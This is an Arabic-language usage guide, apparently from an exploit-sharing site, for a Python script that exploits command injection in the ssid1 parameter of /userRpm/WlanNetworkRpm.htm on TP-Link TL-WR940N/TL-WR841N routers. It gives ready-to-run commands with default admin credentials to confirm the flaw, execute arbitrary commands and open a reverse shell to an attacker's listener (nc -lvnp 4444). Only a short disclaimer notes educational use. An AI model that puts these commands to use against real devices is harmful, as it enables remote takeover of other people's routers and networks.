استغلال بايثون لثغرة حقن الأوامر في أجهزة TP-Link TL-WR940N/TL-WR841N

تعليمات الاستخدام

1. التحقق الأساسي من الثغرة:

   root@kitploit:~

   python tplink_exploit.py -t 192.168.1.1 -u admin -p admin
   

2. تنفيذ أمر مخصص:

   root@kitploit:~

   python tplink_exploit.py -t 192.168.1.1 -u admin -p admin -c "your_command_here"
   

3. قشرة عكسية (قم بإعداد المستمع أولاً باستخدام nc -lvnp 4444):

   root@kitploit:~

   python tplink_exploit.py -t 192.168.1.1 -u admin -p admin --lhost YOUR_IP --lport 4444
   

ملاحظات هامة:

• هذه البرامج النصية لأغراض تعليمية واختبارية فقط
• احصل دائمًا على التصريح المناسب قبل اختبار أي نظام
• يتم استخدام أمر إعادة التشغيل كإعداد افتراضي لأنه غير ضار ويمكن التحقق منه بسهولة
• قد لا تعمل القشرة العكسية على جميع إصدارات البرامج الثابتة لأنها تعتمد على الثنائيات المتاحة
• تتطلب بعض إصدارات البرامج الثابتة مسارًا عشوائيًا في عنوان URL، وهو ما يحاول البرنامج النصي اكتشافه تلقائيًا

توجد الثغرة بسبب عدم تنقية المدخلات بشكل صحيح في معامل ssid1 لنقطة النهاية /userRpm/WlanNetworkRpm.htm، مما يسمح بحقن الأوامر من خلال طلبات مُعدة خصيصًا.